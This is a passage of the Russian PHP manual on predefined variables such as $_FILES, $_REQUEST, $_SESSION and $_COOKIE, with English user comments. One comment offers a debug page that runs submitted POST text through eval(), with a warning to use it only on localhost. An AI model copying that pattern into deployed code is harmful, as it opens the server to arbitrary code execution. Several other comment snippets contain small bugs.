 * @param array     $arrayForFill
 * @param string    $currentKey
 * @param mixed     $currentMixedValue
 * @param string    $fileDescriptionParam (name, type, tmp_name, error или size)
 * @return void
 */
function rRestructuringFilesArray(&$arrayForFill, $currentKey, $currentMixedValue, $fileDescriptionParam)
{
    if (is_array($currentMixedValue)) {
        foreach ($currentMixedValue as $nameKey => $mixedValue) {
            rRestructuringFilesArray($arrayForFill[$currentKey],
                                     $nameKey,
                                     $mixedValue,
                                     $fileDescriptionParam);
        }
    } else {
        $arrayForFill[$currentKey][$fileDescriptionParam] = $currentMixedValue;
    }
}

$arrayForFill = array();
foreach ($_FILES as $firstNameKey => $arFileDescriptions) {
    foreach ($arFileDescriptions as $fileDescriptionParam => $mixedValue) {
        rRestructuringFilesArray($arrayForFill,
                                 $firstNameKey,
                                 $_FILES[$firstNameKey][$fileDescriptionParam],
                                 $fileDescriptionParam);
    }
}
$_FILES = $arrayForFill;
?>
unca dot alby at gmail dot com 02-Sep-2011 01:31
In checking the error code, you probably ought to check for code 4.  I believe Code 4 means no file was uploaded, and there are many instances where that's perfectly OK.

Such as when you have a form with multiple data items, including file and image uploads, plus whatever else.  The user might not be adding a new upload for whatever reason, such as there may already be a file in the system from an earlier update, and the user is satisfied with that.
Sbastien 13-Jun-2011 07:36
If you're uploading multiple files and you name your file inputs "upload[]" the $_FILES array will look different than the var_dump posted below. I figured I'd post what it looks like since it caused me (and still causes me) headaches!

array(1) {
    ["upload"]=>array(5) {
        ["name"]=>array(3) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
            [2]=>string(9)"file2.txt"
        }
        ["type"]=>array(3) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/plain"
            [2]=>string(10)"text/plain"
        }
        ["tmp_name"]=>array(3) {
            [0]=>string(14)"/tmp/blablabla"
            [1]=>string(14)"/tmp/phpyzZxta"
            [2]=>string(14)"/tmp/phpn3nopO"
        }
        ["error"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
        ["size"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
    }
}

(I thought the array would have looked like upload[index][name] which is not the case.)
Anonymous 26-Apr-2011 02:48
Having url rewrite patterns in .htaccess file which modify your urls can affect $_FILES sometimes. Even though the php page loads and works fine, this variable may not work because of it. Therefore if you rewrite 'www.example.com' to 'example.com', make sure you use the latter one when sending POST to the php page. I'm still not sure why this happens, but its worth noting here so others don't spend time chasing ghosts.
Anonymous 18-Apr-2011 06:23
As mentioned , you should check the error index of the upload.

Example below suggests you have a file field named 'image'.

<?php

        if($_FILES['image']['error'] == 0){
            // success - move uploaded file and process stuff here

        }else{
            // 'there was an error uploading file' stuff here....
        }
?>
John 03-Feb-2011 06:14
In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. <input type="file" name="profile_pic" />)). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts!

-john
mwgamera at gmail dot com 13-Aug-2009 05:40
To determine whether upload was successful you should check for error being UPLOAD_ERR_OK instead of checking the file size. When nothing is chosen to be uploaded, the key in $_FILES will still be there, but it should have error equal UPLOAD_ERR_NO_FILE.
calurion at gmail dot com 29-Jun-2009 04:51
For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded.

I wonder if this is a result of enctype="multipart/form-data".

Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0
dewi at dewimorgan dot com 18-Mar-2009 10:35
The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc):

Array
(
    [file1] => Array
        (
            [name] => MyFile.txt (comes from the browser, so treat as tainted)
            [type] => text/plain  (not sure where it gets this from - assume the browser, so treat as tainted)
            [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
            [error] => UPLOAD_ERR_OK  (= 0)
            [size] => 123   (the size in bytes)
        )

    [file2] => Array
        (
            [name] => MyFile.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php/php6hst32
            [error] => UPLOAD_ERR_OK
            [size] => 98174
        )
)

Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting.

Array
(
    [download] => Array
        (
            [name] => Array
                (
                    [file1] => MyFile.txt
                    [file2] => MyFile.jpg
                )

            [type] => Array
                (
                    [file1] => text/plain
                    [file2] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [file1] => /tmp/php/php1h4j1o
                    [file2] => /tmp/php/php6hst32
                )

            [error] => Array
                (
                    [file1] => UPLOAD_ERR_OK
                    [file2] => UPLOAD_ERR_OK
                )

            [size] => Array
                (
                    [file1] => 123
                    [file2] => 98174
                )
        )
)

So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1']
andrewpunch at bigfoot dot com 17-Jan-2009 12:16
If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on.


Переменные HTTP-запроса

  • « $_FILES
  • $_SESSION »
  • PHP Manual
  • Предопределённые переменные
  • Переменные HTTP-запроса

$_REQUEST

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_REQUEST — Переменные HTTP-запроса

Описание

Ассоциативный массив (array), который по умолчанию содержит данные переменных $_GET, $_POST и $_COOKIE.

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Замечание:

При работе в командной строке переменные argv и argc не включаются в данный массив - они присутствуют в массиве $_SERVER.

Замечание:

Переменные в массиве $_REQUEST передаются в скрипт посредством методов GET, POST или COOKIE, поэтому им нельзя доверять, т.к. они могли быть изменены удалённым пользователем. Их наличие и порядок добавления данных в соответствующие массивы определяется директивой конфигурации PHP request_order и variables_order.

Смотрите также

  • "Работа с внешними данными"
  • "Фильтрация данных"

User Contributed Notes

codeblog.pro 13-Oct-2020 12:43
In PHP version 7.0 with the default settings.+, $_REQUEST array does not contain cookies.
Filomena 02-Oct-2020 07:40
Warning:

The way $_REQUEST is populated by default can lead to strange bugs because of the unfortunate default setting of the configuration directive 'variables_order'.

Example: In an e-shop you want to display prices based on user preference. User can either switch the currency or the previous selection is used. By defaut, the following code WILL NOT WORK as expected:

<?php
if ($_REQUEST['currency']) # change currency on user request
{
    $currency = $_REQUEST['currency']; # use it
    setcookie('currency', $_REQUEST['currency'], 0, 'eshop.php'); # store it
}
else # use default currency
{
    $currency = 'USD';
}

# display shop contents with user selected currency
echo 'All prices are shown in ', $currency;

# let the user switch currency
echo '<a href="eshop.php?currency=USD">Switch to USD</a>';
echo '<a href="eshop.php?currency=EUR">Switch to EUR</a>';
?>

Regardless of the user choice, the cookie value is used, so unless you change the default 'request_order' or 'variables_order' the $_REQUEST[something] variable is stuck with the cookie value forever regardless of the user 'REQUEST'.

Fix 1:

<?php
ini_set('request_order', 'CGP'); # use previous value (stored in cookie) or new value upon user request
.
.
.
?>

Fix 2:
Be very careful and patient and go with $_GET, $_POST and $_COOKIE instead of the convenient $_REQUEST. Good luck.
Luke Madhanga 22-May-2016 08:45
To access $_POST, $_GET, etc, use the function filter_input(TYPE, varname, filter) to ensure that your data is clean.

Also, I was brought up to believe that modifying superglobals is a BAD idea. I stand by this belief and would recommend you do too
mike o. 11-Mar-2010 04:31
The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST.  The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does.  Your distribution's php.ini may exclude cookies by default, so beware.
strata_ranger at hotmail dot com 17-Jul-2008 08:04
Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.

e.g:

<?php

$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'

?>

If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use  $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g:

<?php

switch($_SERVER['REQUEST_METHOD'])
{
case 'GET': $the_request = &$_GET; break;
case 'POST': $the_request = &$_POST; break;
.
. // Etc.
.
default:
}
?>


Переменные сессии

  • « $_REQUEST
  • $_ENV »
  • PHP Manual
  • Предопределённые переменные
  • Переменные сессии

$_SESSION

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_SESSION — Переменные сессии

Описание

Ассоциативный массив, содержащий переменные сессии, которые доступны для текущего скрипта. Смотрите документацию по функциям сессии для получения дополнительной информации.

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • session_start() - Стартует новую сессию, либо возобновляет существующую

User Contributed Notes

ms at meilenstein dot ms 25-Jan-2019 11:56
I would be wary to use PHP Sessions for application-critical tasks. So far, I have had very troubling experiences with random loss of session data, as described in these bug reports:

https://bugs.php.net/bug.php?id=19022
https://bugs.php.net/bug.php?id=19029
https://bugs.php.net/bug.php?id=70584
Tugrul 09-Mar-2015 05:04
Creating New Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
?>
Getting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*session created*/
echo $_SESSION["newsession"];
/*session was getting*/
?>
Updating Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*it is my new session*/
$_SESSION["newsession"]=$updatedvalue;
/*session updated*/
?>
Deleting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
unset($_SESSION["newsession"]);
/*session deleted. if you try using this you've got an error*/
?>
Fred 07-Sep-2013 03:09
Regarding array keys, from http://php.net/manual/en/language.types.array.php, "Strings containing valid integers will be cast to the integer type".

The manual on $_SESSION says "An associative array". So an associative array is expected literally...? It does no one any good if this bit of important info about accessing and storing session data remains buried in manual comments.

Session variables with a single number will not work, however "1a" will work, as will "a1" and even a just single letter, for example "a" will also work.

(Invalid)
1st page

<?php
session_start();
$_SESSION["1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["1"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a1"];
?>

---------------------------------------------------------------

Example from PHP.net manual on Session variables

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][2] = 'cake'; // works
?>

Source: http://php.net/manual/en/language.types.array.php
opajaap at opajaap dot nl 31-Aug-2013 11:51
Be carefull with $_SESSION array elements when you have the same name as a normal global.

The following example leads to unpredictable behaviour of the $wppa array elements, some are updated by normal code, some not, it is totally unpredictable what happens.

<?php
global $wppa;
$wppa = array( 'elm1' => 'value1', 'elm2' => 'value2', ....etc...);

if ( ! session_id() ) @ session_start();
if ( ! isset($_SESSION['wppa']) $_SESSION['wppa'] = array();

if ( ! isset($_SESSION['wppa']['album']) ) $_SESSION['wppa']['album'] = array();
$_SESSION['wppa']['album'][1234] = 1;

$wppa['elm1'] = 'newvalue1';

print_r($_SESSION);
?>
This will most likely display Array ( [wppa] => Array ( [album] => Array ( [1234] => 1 ) [elm1] => 'newvalue1' [elm2] => 'value2' ... etc ...
But setting $wppa['elm1'] to another value or referring to it gives unpredictable results, maybe 'value1', or 'newvalue1'.

The most strange behaviour is that not all elements of $wppa[xx] show up as $_SESSION['wppa'][xx].
Miller 12-Aug-2013 08:48
I wrote a little page for controlling/manipulating the session. Obviously, never use this on a production server, but I use it on my localhost to assist me in checking and changing session values on the fly.

Again, it makes use of eval() and exposes the session, so never use this on a web server.

<?php
error_reporting(E_ALL);
session_start();
if (isset($_POST['session'])) {
    $session = eval("return {$_POST['session']};");
    if (is_array($session)) {
        $_SESSION = $session;
        header("Location: {$_SERVER['PHP_SELF']}?saved");
    }
    else {
        header("Location: {$_SERVER['PHP_SELF']}?error");
    }
}

$session = htmlentities(var_export($_SESSION, true));
?>
<!DOCTYPE html>
<html lang="en-US">
    <head>
        <meta charset="UTF-8">
        <title>Session Variable Management</title>
        <style>
            textarea { font: 12px Consolas, Monaco, monospace; padding: 2px; border: 1px solid #444444; width: 99%; }
            .saved, .error { border: 1px solid #509151; background: #DDF0DD; padding: 2px; }
            .error { border-color: #915050; background: #F0DDDD; }
        </style>
    </head>
    <body>
        <h1>Session Variable Management</h1>
<?php if (isset($_GET['saved'])) { ?>
        <p class="saved">The session was saved successfully.</p>
<?php } else if (isset($_GET['error'])) { ?>
        <p class="error">The session variable did not parse correctly.</p>
<?php } ?>
        <form method="post">
            <textarea name="session" rows="<?php echo count(preg_split("/\n|\r/", $session)); ?>"><?php echo $session; ?></textarea>
            <input type="submit" value="Update Session">
        </form>
    </body>
</html>
charlese at cvs dot com dot au 04-Jul-2009 06:47
I was having troubles with session variables working in some environments and being seriously flaky in others. I was using $_SESSION as an array. It works properly when I used $_SESSION as pointers to arrays. As an example the following code works in some environments and not others.

<?php
//Trouble if I treate $form_convert and $_SESSION['form_convert'] as unrelated items
$form_convert=array();
if (isset($_SESSION['form_convert'])){
        $form_convert=$_SESSION['form_convert'];
    }
}
?>
The following works well.
<?php
if (isset($_SESSION['form_convert'])){
    $form_convert = $_SESSION['form_convert'];
}else{
    $form_convert = array();
    $_SESSION['form_convert']=$form_convert;
}
?>
bohwaz 31-Aug-2008 02:43
Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations.

<?php

session_start();

$_SESSION['test'] = 42;
$test = 43;
echo $_SESSION['test'];

?>

Load the page, OK it displays 42, reload the page... it displays 43.

The solution is to do this after each time you do a session_start() :

<?php

if (ini_get('register_globals'))
{
    foreach ($_SESSION as $key=>$value)
    {
        if (isset($GLOBALS[$key]))
            unset($GLOBALS[$key]);
    }
}

?>
jherry at netcourrier dot com 01-Aug-2008 04:16
You may have trouble if you use '|' in the key:

$_SESSION["foo|bar"] = "fuzzy";

This does not work for me. I think it's because the serialisation of session object is using this char so the server reset your session when it cannot read it.

To make it work I replaced '|' by '_'.


Переменные окружения

  • « $_SESSION
  • $_COOKIE »
  • PHP Manual
  • Предопределённые переменные
  • Переменные окружения

$_ENV

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_ENV — Переменные окружения

Описание

Ассоциативный массив (array) значений, переданных скрипту через переменные окружения.

Эти значения импортируются в глобальное пространство имён PHP из системных переменных окружения, в котором запущен парсер PHP. Большинство значений передаётся из командной оболочки, под которой запущен PHP, и в разных системах, вероятно, используются разные типы оболочек поэтому окончательный список невозможно представить. Пожалуйста, изучите документацию к вашей командной оболочке для получения списка переменных окружения.

Некоторые переменные окружения включают CGI-переменные, причём их наличие не зависит от того, запущен ли PHP как модуль сервера или как препроцессор CGI.

Примеры

Пример #1 Пример использования $_ENV

<?php
echo 'Моё имя пользователя: ' .$_ENV["USER"] . '!';
?>

Допустим, скрипт запустил "bjori"

Результатом выполнения данного примера будет что-то подобное:

Моё имя пользователя: bjori!

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • getenv() - Получает значение одной или всех переменных окружения
  • Фильтрация данных

User Contributed Notes

aasasdasdf at yandex dot ru 08-Apr-2014 02:25
Please note that writing to $_ENV does not actually set an environment variable, i.e. the variable will not propagate to any child processes you launch (except forked script processes, in which case it's just a variable in the script's memory). To set real environment variables, you must use putenv().

Basically, setting a variable in $_ENV does not have any meaning besides setting or overriding a script-wide global variable. Thus, one should never modify $_ENV except for testing purposes (and then be careful to use putenv() too, if appropriate).

PHP  will not trigger any kind of error or notice when writing to $_ENV.
gabe-php at mudbugmedia dot com 26-May-2010 09:11
If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string.


HTTP Cookies

  • « $_ENV
  • $php_errormsg »
  • PHP Manual
  • Предопределённые переменные
  • HTTP Cookies

$_COOKIE

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_COOKIE — HTTP Cookies

Описание

Ассоциативный массив (array) значений, переданных скрипту через HTTP Cookies.

Примеры

Пример #1 Пример использования $_COOKIE

<?php
echo 'Привет, ' . htmlspecialchars($_COOKIE["name"]) . '!';
?>

Предположим, что значение куки с именем "name" было установлено ранее.

Результатом выполнения данного примера будет что-то подобное:

Привет, Иван!

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • setcookie() - Отправляет cookie
  • Обработка внешних переменных
  • Фильтрация данных

User Contributed Notes

rc at opelgt dot org 29-Dec-2022 07:04
The values of $_COOKIE in general are not identic with the values in $_SERVER["HTTP_COOKIE"]!

In phpinfo() $_SERVER["HTTP_COOKIE"] shows the actual value stored in the cookie by the browser in 7bit.
In $_COOKIE is this value after a 7bit to 8bit conversion.

When all characters in $_SERVER["HTTP_COOKIE"] are in ASCII = 7bit, $_COOKIE is displayed in phpinfo(). When one single character is not in ASCII, phpinfo() shows no value!

Although in $_COOKIE is still the 8bit conversion of $_SERVER["HTTP_COOKIE"]!
The reason: the 8bit conversion alone is not enough to say what characters are meant.
For that the used character-set is necessary.

phpinfo() does not know the character-set and better says nothing.

When using $_COOKIE in a php-generated web page the environment has the info of used character-set and so the meant characters can be displayed.

Three illustrating examples
===========================
A HTML-form is used to get the content which shall be stored in a cookie named "test".

Input string in field "test": door
$_SERVER["HTTP_COOKIE"]: test=door
$_COOKIE["test"]
   displayed in phpinfo(): door
   displayed in any html page: door

Input string in field "test" (ISO-8859-1 used in form): Tur
$_SERVER["HTTP_COOKIE"]: test=T%FCr
$_COOKIE["test"]
   displayed in phpinfo(): ""
   displayed in a ISO-8859-1-html-page: Tur
   (displayed in a UTF-8-html-page: T?r)

Input string in field "test" (UTF-8 used in form): Tur
$_SERVER["HTTP_COOKIE"]: test=T%C3%BCr
$_COOKIE["test"]
   displayed in phpinfo(): ""
   displayed in a UTF-8-html-page: Tur
   (displayed in a ISO-8859-1-html-page: TA?r)
user at NOSPAM dot example dot com 07-Dec-2022 12:26
PHP replaces dots (.) with underscores (_). To find all original cookie names (and value) you can use $_SERVER['HTTP_COOKIE'].

For example to retrieve a cookie set with <?php setcookie('testing.dots', 'value'); ?> you may use:
<?php
    $cookies = explode('; ', $_SERVER['HTTP_COOKIE']);
    $allCookies = [];

    foreach($cookies as $cookie) {
        $keyAndValue = explode('=', $cookie);
        $allCookies[$keyAndValue[0]] = $keyAndValue[1];
    }

    var_dump($allCookies);
    /*
        array(1) {
            ["testing.dots"]=>
                string(5) "value"
        }
    */

    echo $allCookies['testing.dots'];
?>
axodjakov at gmail dot com 07-Jul-2021 11:25
$_COOKIE returns an array if there are more than one cookie saved under the given key.
kiril (at) atern (dot) us 24-May-2016 12:08
To clarify the previously posted note:

Dots (.) and spaces ( ) in cookie names are being replaced with underscores (_).
k dot andris at gmail dot com 29-May-2015 08:49
beware, dots (.) in cookie names are replaces by underscores (_)


Предыдущее сообщение об ошибке

  • « $_COOKIE
  • $http_response_header »
  • PHP Manual
  • Предопределённые переменные
  • Предыдущее сообщение об ошибке

$php_errormsg

(PHP 4, PHP 5, PHP 7)

$php_errormsg — Предыдущее сообщение об ошибке

Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и её крайне не рекомендуется использовать.

Используйте функцию error_get_last().

Описание

$php_errormsg является переменной, содержащей текст последней ошибки, сгенерированной PHP. Эта переменная будет доступна только в блоке кода, в котором случилась ошибка, и только если включена конфигурационная опция track_errors (по умолчанию отключена).

Внимание

Если настроен пользовательский обработчик ошибок (set_error_handler()), то $php_errormsg устанавливается только в том случае, если обработчик ошибки возвращает false.

Список изменений

Версия | Описание
8.0.0 | Директива track_errors, из-за которой становится доступным $php_errormsg, была удалена.
7.2.0 | Директива track_errors, из-за которой становится доступным $php_errormsg, была объявлена устаревшей.

Примеры

Пример #1 Пример использования $php_errormsg

<?php
@strpos();
echo $php_errormsg;
?>

Результатом выполнения данного примера будет что-то подобное:

Wrong parameter count for strpos()

Смотрите также

  • error_get_last() - Получение информации о последней произошедшей ошибке

User Contributed Notes

myuezhu at gmail dot com 04-Aug-2017 01:29
$php_errormsg does not contain the error message generated inside a function. See the example below:
<?php
@strpos();
function checkErrormsg()
{
    global $php_errormsg;
    echo "First Error is: $php_errormsg <br />";
    @ini_set();
    echo "Error is: $php_errormsg";
}
checkErrormsg();
?>
This will output:
First Error is: strpos() expects at least 2 parameters, 0 given
Error is: strpos() expects at least 2 parameters, 0 given
quickshiftin at gmail dot com 07-Jan-2013 09:19
While $php_errormsg is a global, it is not a superglobal.

You'll have to qualify it with a global keyword inside a function.

<?php
function checkErrormsg()
{
    global $php_errormsg;
    @strpos();
    return $php_errormsg;
}
?>
josh at karmabunny dot com dot au 04-Jul-2011 12:41
The track_errors parameter is PHP_INI_ALL, so you can use code like this:

<?php
ini_set('track_errors', 1);

$result = @do_risky_thing();
if (! $result) {
    echo '<p>Error' . htmlspecialchars($php_errormsg) . '</p>';
}

ini_set('track_errors', 0);
?>
ryan kulla 19-Jan-2009 11:32
Note: This variable doesn't seem to get populated if you're running Xdebug.


Заголовки ответов HTTP

  • « $php_errormsg
  • $argc »
  • PHP Manual
  • Предопределённые переменные
  • Заголовки ответов HTTP

$http_response_header

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

$http_response_header — Заголовки ответов HTTP

Описание

Массив (array) $http_response_header похож на функцию get_headers(). При использовании обёртки HTTP, $http_response_header будет заполняться заголовками ответа HTTP. $http_response_header будет создан в локальной области видимости.

Примеры

Пример #1 Пример $http_response_header

<?php
function get_contents() {
file_get_contents("http://example.com");
var_dump($http_response_header); // переменная заполняется в локальной области видимости
}
get_contents();
var_dump($http_response_header); // вызов функции get_contents() не заполняет переменную вне области видимости функции
?>

Результатом выполнения данного примера будет что-то подобное:

array(9) {
  [0]=>
  string(15) "HTTP/1.1 200 OK"
  [1]=>
  string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT"
  [2]=>
  string(29) "Server: Apache/2.2.3 (CentOS)"
  [3]=>
  string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT"
  [4]=>
  string(27) "ETag: "280100-1b6-80bfd280""
  [5]=>
  string(20) "Accept-Ranges: bytes"
  [6]=>
  string(19) "Content-Length: 438"
  [7]=>
  string(17) "Connection: close"
  [8]=>
  string(38) "Content-Type: text/html; CHARSET=Windows-1251"
}

Warning: Undefined variable $http_response_header
NULL

User Contributed Notes

carlo at tnx dot it 01-Dec-2023 11:22
If no connection is made, $http_response_header is not reset! (tested on php 7.0/8.1)

file_get_contents("https://www.google.com/");
file_get_contents("https://www.google.fail/");
print_r($http_response_header);//Array ( [0] => HTTP/1.1 200 OK  ....
boz at reyboz dot it 02-Jul-2021 11:10
It seems that, if the server returns an HTTP/1.1 100 Continue, the variable $http_response_header is unset. This corner case may be difficult to be detected.

For this and other reasons I recommend PHP cURL, instead of file_get_contents().
jaraco at jaraco dot com 06-Feb-2018 11:20
If an HTTP Redirect is encountered, the headers will contain the response line and headers for all requests encountered. Consider this example:

<?php
file_get_contents("https://httpbin.org/redirect-to?url=https%3A%2F%2Fhttpbin.org%2F");
var_dump($http_response_header);
?>

Produces the following:

array(23) {
  [0]=>
  string(18) "HTTP/1.1 302 FOUND"
  [1]=>
  string(17) "Connection: close"
  [2]=>
  string(22) "Server: meinheld/0.6.1"
  [3]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [4]=>
  string(38) "Content-Type: text/html; CHARSET=Windows-1251"
  [5]=>
  string(17) "Content-Length: 0"
  [6]=>
  string(30) "Location: https://httpbin.org/"
  [7]=>
  string(30) "Access-Control-Allow-Origin: *"
  [8]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [9]=>
  string(19) "X-Powered-By: Flask"
  [10]=>
  string(34) "X-Processed-Time: 0.00107908248901"
  [11]=>
  string(14) "Via: 1.1 vegur"
  [12]=>
  string(15) "HTTP/1.1 200 OK"
  [13]=>
  string(17) "Connection: close"
  [14]=>
  string(22) "Server: meinheld/0.6.1"
  [15]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [16]=>
  string(38) "Content-Type: text/html; CHARSET=Windows-1251"
  [17]=>
  string(21) "Content-Length: 13011"
  [18]=>
  string(30) "Access-Control-Allow-Origin: *"
  [19]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [20]=>
  string(19) "X-Powered-By: Flask"
  [21]=>
  string(34) "X-Processed-Time: 0.00848388671875"
  [22]=>
  string(14) "Via: 1.1 vegur"
}
doekia at gmail dot com 20-Jun-2017 10:54
Bear in mind this special variable is somehow protected and not populated in some situation when the peer server close the connection early on (ssl reset)
=> Undefined variable: http_response_header

A code like this one:
$response = @file_get_contents($url);
empty($http_response_header) && $http_response_header = array('HTTP/1.1 400 Bad request');

Will return a cryptic error message:
Fatal error: Call to undefined function  array() on line 2

--
Should you want to cope with this situation:
$hdrs = array('HTTP/1.1 400 Bad request');
!empty($htp_response_header) && $hdrs = $http_response_headers;

Now use $hdrs in place of $http_response_header
MangaII 01-May-2015 01:01
parser function to get formatted headers (with response code)

<?php

function parseHeaders( $headers )
{
    $head = array();
    foreach( $headers as $k=>$v )
    {
        $t = explode( ':', $v, 2 );
        if( isset( $t[1] ) )
            $head[ trim($t[0]) ] = trim( $t[1] );
        else
        {
            $head[] = $v;
            if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) )
                $head['reponse_code'] = intval($out[1]);
        }
    }
    return $head;
}

print_r(parseHeaders($http_response_header));

/*
Array
(
    [0] => HTTP/1.1 200 OK
    [reponse_code] => 200
    [Date] => Fri, 01 May 2015 12:56:09 GMT
    [Server] => Apache
    [X-Powered-By] => PHP/5.3.3-7+squeeze18
    [Set-Cookie] => PHPSESSID=ng25jekmlipl1smfscq7copdl3; path=/
    [Expires] => Thu, 19 Nov 1981 08:52:00 GMT
    [Cache-Control] => no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    [Pragma] => no-cache
    [Vary] => Accept-Encoding
    [Content-Length] => 872
    [Connection] => close
    [Content-Type] => text/html
)
*/

?>
nicolas at toniazzi dot net 01-Oct-2013 01:42
Note that the HTTP wrapper has a hard limit of 1024 characters for the header lines.
Any HTTP header received that is longer than this will be ignored and won't appear in $http_response_header.

The cURL extension doesn't have this limit.

http_fopen_wrapper.c: #define HTTP_HEADER_BLOCK_SIZE 1024


Количество аргументов, переданных скрипту

  • « $http_response_header
  • $argv »
  • PHP Manual
  • Предопределённые переменные
  • Количество аргументов, переданных скрипту

$argc

(PHP 4, PHP 5, PHP 7, PHP 8)

$argc — Количество аргументов, переданных скрипту

Описание

Содержит количество аргументов, переданных текущему скрипту при запуске из командной строки.

Замечание: Имя файла скрипта всегда передаётся в качестве первого аргумента, таким образом минимальное значение $argc равно 1.

Замечание: Эта переменная недоступна, если register_argc_argv отключён.

Примеры

Пример #1 Пример использования $argc

<?php
var_dump($argc);
?>

Запустим пример в командной строке: php script.php arg1 arg2 arg3

Результатом выполнения данного примера будет что-то подобное:

int(4)

Примечания

Замечание:

Также доступно как $_SERVER['argc'].

Смотрите также

  • getopt() - Получает параметры из списка аргументов командной строки
  • $argv

User Contributed Notes

anonymous 11-Oct-2018 04:43
int main(int argc, char *argv[])
{
  fprintf(stdout,"argumen count : %d\n",argc);
  fprintf(stdout,"argumen vector : %s\n",argv);
  return 0;
}
elm at r3m0ve dot gmx dot ch 03-Apr-2014 04:57
To decide whether my script is run from CLI I simply create a PHP script that handles only CLI invocations.

File cron.php:
<?php

// Set environment variables your application depends on
$_SERVER[ 'HTTP_HOST' ] = 'domain.tld';
// $_SERVER[ 'REQUEST_URI' ] = '/some/URI/if/needed';

// Use the environment to read out required values
$task = $_SERVER[ 'argv' ][ 1 ];

// Instanciate the dispatcher or whatever you use
$dispatcher = new Dispatcher();
$dispatcher->handle( $task );

?>

This way my application doesn't have to know about CLI at all.
Tejesember 04-May-2011 09:50
To find out are you in CLI or not, this is much better in my opinion:
<?php
if (PHP_SAPI != "cli") {
    exit;
}
?>
karsten at typo3 dot org 18-Feb-2009 12:47
Note: when using CLI $argc (as well as $argv) are always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php


Массив переданных скрипту аргументов

  • « $argc
  • Предопределённые исключения »
  • PHP Manual
  • Предопределённые переменные
  • Массив переданных скрипту аргументов

$argv

(PHP 4, PHP 5, PHP 7, PHP 8)

